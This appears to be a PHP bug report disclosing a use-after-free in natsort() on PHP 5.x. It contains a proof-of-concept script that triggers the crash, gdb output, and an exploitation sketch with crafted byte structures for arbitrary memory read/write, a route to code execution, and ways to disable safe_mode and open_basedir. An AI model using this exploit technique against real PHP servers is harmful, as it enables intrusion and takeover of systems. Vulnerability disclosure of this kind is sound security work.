Description:
------------
OVERVIEW:

PHP's natsort() performs the natural sorting of an array through zend_hash_sort(), which actually uses zend_qsort() with the php_array_natural_general_compare() macro as comparison function.

In zend_hash_sort(), a list of pointers, one for each element of the array, is created at line 1451.

 arTmp = (Bucket **) pemalloc(ht->nNumOfElements * sizeof(Bucket *), ht->persistent);

Then (line 1463), zend_qsort() is called with that list as argument, along with php_array_natural_general_compare().

The problem is that while the whole sorting/comparing procedure is working on pointers, it is possible to alter the array itself.
In fact, the php_array_natural_general_compare() flow can be broken by the convert_to_string() call, which can throw an Exception or result in a __toString() execution, meaning in both cases the possibility for user-space code to be executed in the middle of the comparing process.
Removing an element from the original array will cause the pointer list to contain a reference to an already freed memory area, which will be then pointed by the final sorted array once it is reconstructed.

The POC below is just meant to trigger the memory corruption: the first element of the array will be overwritten with a sequence of Zs in memory causing a segmentation fault due to an invalid memory read.

<?php

//All the provided POCs have been tested on a 64bit Ubuntu running PHP 5.5.9, each branch of PHP 5.x should be vulnerable though.

class Pwn {

function __toString() {
	
	global $a;

	
	if (isset($a[0])) unset($a[0]);

	
	return str_repeat("Z", 67);

}

}


$a = array("dummy", new Pwn(), "dummy2");

natsort($a); 


?>

Here's the gdb output:

(gdb) r crash.php
Starting program: /usr/bin/php crash.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00000000006064a4 in php_array_natural_general_compare (a=0x7ffff7fd1b58, 
    b=0x7ffff7fd1b50, fold_case=0)
    at /build/buildd/php5-5.5.9+dfsg/ext/standard/array.c:415
415		fval = *((zval **) f->pData);
(gdb) x/i $rip
=> 0x6064a4 <php_array_natural_general_compare+20>:	mov    (%rax),%rbp
(gdb) x/wx $rax
0x5a5a5a5a5a5a5a5a:	Cannot access memory at address 0x5a5a5a5a5a5a5a5a


EXPLOITATION:

Being able to overwrite a memory structure, it is possible to craft a string representing a Bucket in order to fake an array element. Addressing the pData pointer to a memory location we can control (i.e. a variable), with a string type crafted Zval structure we can get full access (read/write) to arbitrary memory portions.

Let's say we manage to know that at 0x7ffff7ec5de0 there is a variable we can control.
What we need to override our array element with is then a Bucket struct with the pData field pointing to that address; it would be something like:

\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x5d\xec\xf7\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

We want to take control over 1024 bytes of memory starting from 0x7ffffffde000 , so our variable at 0x7ffff7ec5de0 should represent a string type zval crafted as below:

\x00\xe0\xfd\xff\xff\x7f\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x06\x01\x00\x00

This way we would be able to access every single byte of the memory portion we managed to control, directly from the array element at PHP level.

i.e. 
$array[$element_index][bytenumber]

This possibility opens up to several possible exploitation scenarios leading to code execution.
The easiest way to achieve that is probably through the zval_copy_ctor() call in php_array_natural_general_compare() itself which in fact, with a crafted object-type Zval as argument, will result in a callq  *(%rax) whereas we control both $rax (via the handlers field) and the first element on the stack (lval field).

Here is a video POC showing a successfull exploitation (just a system("sh") call), of course it is not listed on Youtube.
https://www.youtube.com/watch?v=lj526yiosDM

It should be clear that a dynamic portable exploit could be obtained by working on the first POC attached which, finding the right padding, can be used to leak the address of the previous free memory area in the memory cache.
Moreover, there could be less invasive ways to take advantage of this vulnerability other than code execution. In fact, having read/write access to arbitrary memory spaces, should allow to disable protection mechanisms (i.e. safe mode, open base dir, etc) at runtime.







Test script:
---------------
<?php

//All the provided POCs have been tested on a 64bit Ubuntu running PHP 5.5.9, each branch of PHP 5.x should be vulnerable though.

class Pwn {

function __toString() {
	
	global $a;

	
	if (isset($a[0])) unset($a[0]);

	
	return str_repeat("Z", 67);

}

}


$a = array("dummy", new Pwn(), "dummy2");

natsort($a); 


/*
Here is a video POC showing a successfull exploitation (just a system("sh") call), of course it is not listed on Youtube.
https://www.youtube.com/watch?v=lj526yiosDM
*/

?>